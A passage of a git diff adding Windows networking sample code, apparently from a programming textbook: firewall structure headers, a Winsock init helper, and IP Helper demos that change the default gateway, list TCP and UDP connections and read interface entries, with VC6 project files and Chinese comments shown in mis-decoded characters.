¶Ô´ËSessionµÄ·´Ó¦ + // others Èç Æô¶¯Ê±¼ä¡¢·¢Ë͵Ä×Ö½ÚÊýµÈ +}; + + +struct QUERY_SESSION +{ + UCHAR bUsed; // ָʾ´Ë½á¹¹ÊÇ·ñʹÓà + TCHAR szPathName[MAX_PATH]; // Ó¦ÓóÌÐòÃû + int nReturnValue; // Ö÷Ä£¿éµÄ·µ»ØÖµ +}; + +// DLL IO¿ØÖƽṹ +struct LSP_IO_CONTROL // IO¿ØÖƺ¯ÊýµÄ²ÎÊýÀàÐÍ +{ + UCHAR ucWorkMode; // ¹¤×÷ģʽ + RULE_FILE *pRuleFile; // ¹æÔòÎļþ + + HWND hPhoenixWnd; // ½ÓÊÕLSPÏûÏ¢µÄ´°¿Ú + + TCHAR szPath[MAX_PATH]; // Ö÷³ÌÐò·¾¶ + + SESSION *pSession; // ÓÃÓÚÈ¡µÃÒ»¸öSession + int nSessionIndex; +}; + +typedef int (__stdcall * PFNLSPIoControl)(LSP_IO_CONTROL *pIoControl, int nType); + + + + + + + + + + + + + + + + + + + +#endif // __TYPESTRUCT_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/_desktop.ini" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/initsock.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/initsock.h" new file mode 100644 index 0000000..ecd9029 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 0) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\25412\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.cpp" new file mode 100644 index 0000000..1887ce0 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.cpp" @@ -0,0 +1,89 @@ +////////////////////////////////////////////////////////////////////// +// ChangeGateway.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +PMIB_IPFORWARDTABLE MyGetIpForwardTable(BOOL bOrder); +void MyFreeIpForwardTable(PMIB_IPFORWARDTABLE pIpRouteTab); +void PrintIpForwardTable(); + +int main() +{ + // ÐÂÍø¹ØµØÖ· + DWORD dwNewGateway = ::inet_addr("192.168.0.1"); + + // ÔÚ±íÖвéÕÒÎÒÃÇÏëÒªµÄÈë¿Ú¡£Ä¬ÈÏÍø¹ØµÄÄ¿µÄµØַΪ0.0.0.0 + PMIB_IPFORWARDTABLE pIpRouteTable = MyGetIpForwardTable(TRUE); + PMIB_IPFORWARDROW pRow = NULL; + if(pIpRouteTable != NULL) + { + for(DWORD i=0; idwNumEntries; i++) + { + if(pIpRouteTable->table[i].dwForwardDest == 0) // ÕÒµ½ÁËĬÈÏÍø¹Ø + { + // ÉêÇëÄÚ´æÀ´±£´æÕâ¸öÈë¿Ú¡£ + // Õâ±È×Ô¼ºÌî³äMIB_IPFORWARDROW½á¹¹¼òµ¥Ðí¶à£¬ÎÒÃǽöÐèÒª¸Ä±äÍø¹ØµØÖ· + if(pRow == NULL) + { + pRow = (PMIB_IPFORWARDROW)::GlobalAlloc(GPTR, sizeof(MIB_IPFORWARDROW)); + memcpy(pRow, &pIpRouteTable->table[i], sizeof(MIB_IPFORWARDROW)); + } + + // ɾ³ý¾ÉµÄĬÈÏÍø¹ØÈë¿Ú + if(::DeleteIpForwardEntry(&pIpRouteTable->table[i]) != ERROR_SUCCESS) + { + printf("Could not delete old gateway \n"); + exit(1); + } + } + } + MyFreeIpForwardTable(pIpRouteTable); + } + + if(pRow != NULL) + { + // ÉèÖÃdwForwardNextHopÓòΪÎÒÃǵÄÐÂÍø¹Ø£¬ËùÓÐÆäËüµÄ·ÓÉÊôÐÔ½«ºÍÏÈÇ°µÄÏàͬ + pRow->dwForwardNextHop = dwNewGateway; + + // ΪĬÈÏÍø¹Ø´´½¨ÐµÄ·ÓÉÈë¿Ú + if(::SetIpForwardEntry(pRow) == NO_ERROR) + printf(" Gateway changed successfully \n"); + else + printf(" SetIpForwardEntry() failed \n"); + + ::GlobalFree(pRow); + } + + return 0; +} + +PMIB_IPFORWARDTABLE MyGetIpForwardTable(BOOL bOrder) +{ + PMIB_IPFORWARDTABLE pIpRouteTab = NULL; + DWORD dwActualSize = 0; + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetIpForwardTable(pIpRouteTab, &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_IPFORWARDTABLE½á¹¹ÉêÇëÄÚ´æ + pIpRouteTab = (PMIB_IPFORWARDTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñȡ·Óɱí + if(::GetIpForwardTable(pIpRouteTab, &dwActualSize, bOrder) == NO_ERROR) + return pIpRouteTab; + ::GlobalFree(pIpRouteTab); + } + return NULL; +} + +void MyFreeIpForwardTable(PMIB_IPFORWARDTABLE pIpRouteTab) +{ + if(pIpRouteTab != NULL) + ::GlobalFree(pIpRouteTab); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsp" new file mode 100644 index 0000000..a1901ba --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="ChangeGateway" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=ChangeGateway - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "ChangeGateway.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "ChangeGateway.mak" CFG="ChangeGateway - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "ChangeGateway - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "ChangeGateway - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "ChangeGateway - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "ChangeGateway - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "ChangeGateway - Win32 Release" +# Name "ChangeGateway - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\ChangeGateway.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsw" new file mode 100644 index 0000000..127a748 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/ChangeGateway.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "ChangeGateway"=".\ChangeGateway.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/ChangeGateway.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/ChangeGateway.exe" new file mode 100644 index 0000000..342e144 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/ChangeGateway.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/ChangeGateway/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/GetConnTable.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/GetConnTable.exe" new file mode 100644 index 0000000..6ecf1ed Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/GetConnTable.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.cpp" new file mode 100644 index 0000000..bb40f3d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.cpp" @@ -0,0 +1,175 @@ +////////////////////////////////////////////////////////////////////// +// GetInterfaceInfo.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +PMIB_TCPTABLE MyGetTcpTable(BOOL bOrder); +PMIB_UDPTABLE MyGetUdpTable(BOOL bOrder); + +void MyFreeTcpTable(PMIB_TCPTABLE pTcpTable); +void MyFreeUdpTable(PMIB_UDPTABLE pUdpTable); + + +int main() +{ + // ´òÓ¡TCPÁ¬½Ó±íÐÅÏ¢ + PMIB_TCPTABLE pTcpTable = MyGetTcpTable(TRUE); + if(pTcpTable != NULL) + { + char strState[128]; + struct in_addr inadLocal, inadRemote; + DWORD dwRemotePort = 0; + char szLocalIp[128]; + char szRemIp[128]; + + printf("TCP TABLE\n"); + printf("%20s %10s %20s %10s %s\n", "Loc Addr", "Loc Port", "Rem Addr", + "Rem Port", "State"); + for(UINT i = 0; i < pTcpTable->dwNumEntries; ++i) + { + // ״̬ + switch (pTcpTable->table[i].dwState) + { + case MIB_TCP_STATE_CLOSED: + strcpy(strState, "CLOSED"); + break; + case MIB_TCP_STATE_TIME_WAIT: + strcpy(strState, "TIME_WAIT"); + break; + case MIB_TCP_STATE_LAST_ACK: + strcpy(strState, "LAST_ACK"); + break; + case MIB_TCP_STATE_CLOSING: + strcpy(strState, "CLOSING"); + break; + case MIB_TCP_STATE_CLOSE_WAIT: + strcpy(strState, "CLOSE_WAIT"); + break; + case MIB_TCP_STATE_FIN_WAIT1: + strcpy(strState, "FIN_WAIT1"); + break; + case MIB_TCP_STATE_ESTAB: + strcpy(strState, "ESTAB"); + break; + case MIB_TCP_STATE_SYN_RCVD: + strcpy(strState, "SYN_RCVD"); + break; + case MIB_TCP_STATE_SYN_SENT: + strcpy(strState, "SYN_SENT"); + break; + case MIB_TCP_STATE_LISTEN: + strcpy(strState, "LISTEN"); + break; + case MIB_TCP_STATE_DELETE_TCB: + strcpy(strState, "DELETE"); + break; + default: + printf("Error: unknown state!\n"); + break; + } + // ±¾µØµØÖ· + inadLocal.s_addr = pTcpTable->table[i].dwLocalAddr; + + // Ô¶³Ì¶Ë¿Ú + if (strcmp(strState, "LISTEN") != 0) + { + dwRemotePort = pTcpTable->table[i].dwRemotePort; + } + else + dwRemotePort = 0; + // Ô¶³ÌIPµØÖ· + inadRemote.s_addr = pTcpTable->table[i].dwRemoteAddr; + + strcpy(szLocalIp, inet_ntoa(inadLocal)); + strcpy(szRemIp, inet_ntoa(inadRemote)); + printf("%20s %10u %20s %10u %s\n", + szLocalIp, ntohs((unsigned short)(0x0000FFFF & pTcpTable->table[i].dwLocalPort)), + szRemIp, ntohs((unsigned short)(0x0000FFFF & dwRemotePort)), + strState); + } + MyFreeTcpTable(pTcpTable); + } + + printf(" \n\n"); + + // ´òÓ¡UDP¼àÌý±íÐÅÏ¢ + PMIB_UDPTABLE pUdpTable = MyGetUdpTable(TRUE); + if(pUdpTable != NULL) + { + struct in_addr inadLocal; + printf("UDP TABLE\n"); + + printf("%20s %10s\n", "Loc Addr", "Loc Port"); + for (UINT i = 0; i < pUdpTable->dwNumEntries; ++i) + { + inadLocal.s_addr = pUdpTable->table[i].dwLocalAddr; + // ´òÓ¡³ö´ËÈë¿ÚµÄÐÅÏ¢ + printf("%20s %10u \n", + inet_ntoa(inadLocal), ntohs((unsigned short)(0x0000FFFF & pUdpTable->table[i].dwLocalPort))); + } + + MyFreeUdpTable(pUdpTable); + } + + return 0; +} + + +PMIB_TCPTABLE MyGetTcpTable(BOOL bOrder) +{ + PMIB_TCPTABLE pTcpTable = NULL; + DWORD dwActualSize = 0; + + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetTcpTable(pTcpTable, &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_TCPTABLE½á¹¹ÉêÇëÄÚ´æ + pTcpTable = (PMIB_TCPTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñÈ¡TCPÁ¬½Ó±í + if(::GetTcpTable(pTcpTable, &dwActualSize, bOrder) == NO_ERROR) + return pTcpTable; + ::GlobalFree(pTcpTable); + } + return NULL; +} + +void MyFreeTcpTable(PMIB_TCPTABLE pTcpTable) +{ + if(pTcpTable != NULL) + ::GlobalFree(pTcpTable); +} + + +PMIB_UDPTABLE MyGetUdpTable(BOOL bOrder) +{ + PMIB_UDPTABLE pUdpTable = NULL; + DWORD dwActualSize = 0; + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetUdpTable(pUdpTable, &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_UDPTABLE½á¹¹ÉêÇëÄÚ´æ + pUdpTable = (PMIB_UDPTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñÈ¡UDP¼àÌý±í + if(::GetUdpTable(pUdpTable, &dwActualSize, bOrder) == NO_ERROR) + return pUdpTable; + ::GlobalFree(pUdpTable); + } + return NULL; +} + +void MyFreeUdpTable(PMIB_UDPTABLE pUdpTable) +{ + if(pUdpTable != NULL) + ::GlobalFree(pUdpTable); +} + + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsp" new file mode 100644 index 0000000..80516ca --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="GetConnTable" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=GetConnTable - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "GetConnTable.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "GetConnTable.mak" CFG="GetConnTable - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "GetConnTable - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "GetConnTable - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "GetConnTable - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "GetConnTable - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "GetConnTable - Win32 Release" +# Name "GetConnTable - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\GetConnTable.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsw" new file mode 100644 index 0000000..2ab62b7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/GetConnTable.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "GetConnTable"=".\GetConnTable.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetConnTable/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/GetIfEntry.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/GetIfEntry.exe" new file mode 100644 index 0000000..ddefcc7 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/GetIfEntry.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.cpp" new file mode 100644 index 0000000..3d09dde --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.cpp" @@ -0,0 +1,56 @@ +////////////////////////////////////////////////////////////////////// +// GetIfEntry.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") + + +int main() +{ + PMIB_IFTABLE pIfTable; + PMIB_IFROW pMibIfRow; + DWORD dwSize = 0; + + // ΪÊä³ö»º³åÇøÉêÇëÄÚ´æ + pIfTable = (PMIB_IFTABLE)::GlobalAlloc(GPTR, sizeof(MIB_IFTABLE)); + pMibIfRow = (PMIB_IFROW)::GlobalAlloc(GPTR, sizeof(MIB_IFROW)); + + // ÔÚµ÷ÓÃGetIfEntry֮ǰ£¬ÎÒÃǵ÷ÓÃGetIfTableÒÔÈ·±£Èë¿Ú´æÔÚ + + // »ñÈ¡ËùÐèÄÚ´æµÄ´óС + if(::GetIfTable(pIfTable, &dwSize, FALSE) == ERROR_INSUFFICIENT_BUFFER) + { + ::GlobalFree(pIfTable); + pIfTable = (PMIB_IFTABLE)::GlobalAlloc(GPTR, dwSize); + } + + // Ôٴε÷ÓÃGetIfTableÀ´»ñÈ¡ÎÒÃÇÏëÒªµÄʵ¼ÊÊý¾Ý + if(::GetIfTable(pIfTable, &dwSize, FALSE) == NO_ERROR) + { + if(pIfTable->dwNumEntries > 0) + { + pMibIfRow->dwIndex = 1; + // »ñÈ¡µÚÒ»¸ö½Ó¿ÚÐÅÏ¢ + if(::GetIfEntry(pMibIfRow) == NO_ERROR) + { + printf(" Description: %s\n", pMibIfRow->bDescr); + } + else + { + printf(" GetIfEntry failed.\n"); + } + } + } + else + { + printf(" GetIfTable failed.\n"); + } + + + ::GlobalFree(pIfTable); + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsp" new file mode 100644 index 0000000..e49e72e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="GetIfEntry" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE 